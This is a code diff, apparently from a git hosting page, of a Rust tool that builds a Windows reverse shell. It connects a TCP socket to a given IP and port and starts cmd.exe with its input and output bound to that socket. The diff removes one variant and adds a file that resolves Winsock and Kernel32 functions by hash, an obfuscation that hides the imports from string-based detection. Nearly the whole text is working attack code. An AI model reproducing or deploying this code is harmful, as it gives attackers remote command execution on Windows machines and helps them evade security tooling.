use windows::Win32::System::Threading::{CreateProcessA, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA};
|
||||
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms632663(v=vs.85)
|
||||
// Normally this is called by MAKEWORD(2,2), which is 514
|
||||
const WSASTARTUPVAL: u16 = 514;
|
||||
|
||||
#[cfg(not(feature = "antistring"))]
|
||||
pub fn shell(ip: &str, port: u16) {
|
||||
// Call WSAStartup so that you can do anything with sockets
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSAStartup.html
|
||||
let mut wsa_data = WSAData::default();
|
||||
let wsa_start_result = unsafe {
|
||||
WSAStartup(
|
||||
WSASTARTUPVAL,
|
||||
&mut wsa_data
|
||||
&mut WSAData::default()
|
||||
)
|
||||
};
|
||||
if wsa_start_result != 0 {
|
||||
@@ -114,10 +103,11 @@ pub fn shell(ip: &str, port: u16) {
|
||||
// Call CreateProcessA to spawn a shell with stdin/stdout/stderr as the socket
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html
|
||||
// dwFlags --> 0x00000100 means that stdin/stdout/stderr contain information that needs to be parsed
|
||||
// dwFlags --> STARTF_USESTDHANDLES (0x00000100) means that stdin/stdout/stderr contain information that needs to be parsed
|
||||
let mut startup_info = STARTUPINFOA {
|
||||
cb: mem::size_of::<STARTUPINFOA>() as u32,
|
||||
dwFlags: STARTF_USESTDHANDLES, ..Default::default()
|
||||
dwFlags: STARTF_USESTDHANDLES,
|
||||
..Default::default()
|
||||
};
|
||||
let sock_handle = &socket as *const SOCKET as *const HANDLE;
|
||||
startup_info.hStdInput = unsafe { *sock_handle };
|
||||
@@ -145,86 +135,3 @@ pub fn shell(ip: &str, port: u16) {
|
||||
panic!("Could not start cmd.exe process");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn antistring_shell(ip: &str, port: u16) {
|
||||
// See line 16
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap();
|
||||
let wsa_data = WSAData::default();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(u16, WSAData)>
|
||||
(function)(WSASTARTUPVAL, wsa_data)
|
||||
};
|
||||
|
||||
// See line 25
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap();
|
||||
let socket = unsafe {
|
||||
mem::transmute::<*const (), fn(i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32) -> SOCKET>
|
||||
(function)(AF_INET.0 as i32, SOCK_STREAM as i32, IPPROTO_TCP.0, ptr::null(), 0, 0)
|
||||
};
|
||||
|
||||
// See line 30
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap();
|
||||
let mut sockaddr_in = SOCKADDR_IN::default();
|
||||
sockaddr_in.sin_family = AF_INET.0 as u16;
|
||||
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
|
||||
let ip_pcstr = PCSTR(CString::new(ip)
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8
|
||||
);
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(i32, PCSTR, *mut c_void) -> i32>
|
||||
(function)(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr)
|
||||
};
|
||||
|
||||
// See line 46
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap();
|
||||
sockaddr_in.sin_port = unsafe {
|
||||
mem::transmute::<*const (), fn(u16) -> u16>
|
||||
(function)(port)
|
||||
};
|
||||
|
||||
// See line 51
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(SOCKET, *const SOCKADDR, i32) -> i32>
|
||||
(function)(socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::<SOCKADDR_IN>() as _)
|
||||
};
|
||||
|
||||
// See line 59
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap();
|
||||
let lp_buffer: &mut [u8] = &mut [0; 50];
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(&mut [u8])>
|
||||
(function)(lp_buffer)
|
||||
};
|
||||
let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) };
|
||||
let system_dir = system_dir.to_str().unwrap();
|
||||
|
||||
// See line 67
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let mut startup_info = STARTUPINFOA::default();
|
||||
startup_info.cb = mem::size_of::<STARTUPINFOA>() as u32;
|
||||
startup_info.dwFlags = STARTF_USESTDHANDLES;
|
||||
let sock_handle = &socket as *const SOCKET as *const HANDLE;
|
||||
startup_info.hStdInput = unsafe { *sock_handle };
|
||||
startup_info.hStdOutput = unsafe { *sock_handle };
|
||||
startup_info.hStdError = unsafe { *sock_handle };
|
||||
let lp_command_line = PSTR(CString::new(format!("{system_dir}\\cmd.exe"))
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8
|
||||
);
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL>
|
||||
(function)(PCSTR::null(),
|
||||
lp_command_line,
|
||||
&SECURITY_ATTRIBUTES::default(),
|
||||
&SECURITY_ATTRIBUTES::default(),
|
||||
true,
|
||||
PROCESS_CREATION_FLAGS::default(),
|
||||
ptr::null(),
|
||||
PCSTR::null(),
|
||||
&startup_info,
|
||||
&mut PROCESS_INFORMATION::default())
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
use std::{mem, ptr};
|
||||
use std::ffi::{CStr, CString, c_void};
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::Foundation::{BOOL, HANDLE};
|
||||
use windows::Win32::Networking::WinSock::{AF_INET, IPPROTO_TCP, SOCK_STREAM, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSAPROTOCOL_INFOA};
|
||||
use windows::Win32::Security::SECURITY_ATTRIBUTES;
|
||||
use windows::Win32::System::Threading::{PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA};
|
||||
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms632663(v=vs.85)
|
||||
// Normally this is called by MAKEWORD(2,2), which is 514
|
||||
const WSASTARTUPVAL: u16 = 514;
|
||||
|
||||
pub fn shell(ip: &str, port: u16) {
|
||||
// See line 15
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [u16, &mut WSAData]; [()]);
|
||||
unsafe { function(
|
||||
WSASTARTUPVAL,
|
||||
&mut WSAData::default()
|
||||
) };
|
||||
|
||||
// See line 28
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32]; [SOCKET]);
|
||||
let socket = unsafe { function(
|
||||
AF_INET.0 as i32,
|
||||
SOCK_STREAM as i32,
|
||||
IPPROTO_TCP.0,
|
||||
ptr::null(),
|
||||
0,
|
||||
0
|
||||
) };
|
||||
|
||||
// See line 42
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap();
|
||||
let mut sockaddr_in = SOCKADDR_IN {
|
||||
sin_family: AF_INET.0 as u16,
|
||||
..Default::default()
|
||||
};
|
||||
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
|
||||
let ip_pcstr = PCSTR(CString::new(ip)
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8
|
||||
);
|
||||
let function = rco_utils::construct_win32_function!(function; [i32, PCSTR, *mut c_void]; [i32]);
|
||||
unsafe { function(
|
||||
AF_INET.0 as i32,
|
||||
ip_pcstr,
|
||||
sin_addr_ptr
|
||||
) };
|
||||
|
||||
// See line 68
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [u16]; [u16]);
|
||||
sockaddr_in.sin_port = unsafe { function(
|
||||
port
|
||||
) };
|
||||
|
||||
// See line 77
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [SOCKET, *const SOCKADDR, i32]; [i32]);
|
||||
unsafe { function(
|
||||
socket,
|
||||
&sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR,
|
||||
mem::size_of::<SOCKADDR_IN>() as i32
|
||||
) };
|
||||
|
||||
|
||||
// See line 91
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap();
|
||||
let lp_buffer: &mut [u8] = &mut [0; 50];
|
||||
let function = rco_utils::construct_win32_function!(function; [&mut [u8]]; [()]);
|
||||
unsafe { function(
|
||||
lp_buffer
|
||||
) };
|
||||
let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) };
|
||||
let system_dir = system_dir.to_str().unwrap();
|
||||
|
||||
// See line 103
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let mut startup_info = STARTUPINFOA {
|
||||
cb: mem::size_of::<STARTUPINFOA>() as u32,
|
||||
dwFlags: STARTF_USESTDHANDLES,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let sock_handle = &socket as *const SOCKET as *const HANDLE;
|
||||
startup_info.hStdInput = unsafe { *sock_handle };
|
||||
startup_info.hStdOutput = unsafe { *sock_handle };
|
||||
startup_info.hStdError = unsafe { *sock_handle };
|
||||
let lp_command_line = PSTR(CString::new(format!("{system_dir}\\cmd.exe"))
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8
|
||||
);
|
||||
let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION]; [BOOL]);
|
||||
unsafe { function(
|
||||
PCSTR::null(),
|
||||
lp_command_line,
|
||||
&SECURITY_ATTRIBUTES::default(),
|
||||
&SECURITY_ATTRIBUTES::default(),
|
||||
true,
|
||||
PROCESS_CREATION_FLAGS::default(),
|
||||
ptr::null(),
|
||||
PCSTR::null(),
|
||||
&startup_info,
|
||||
&PROCESS_INFORMATION::default()
|
||||
) };
|
||||
}
|
||||
Reference in New Issue
Block a user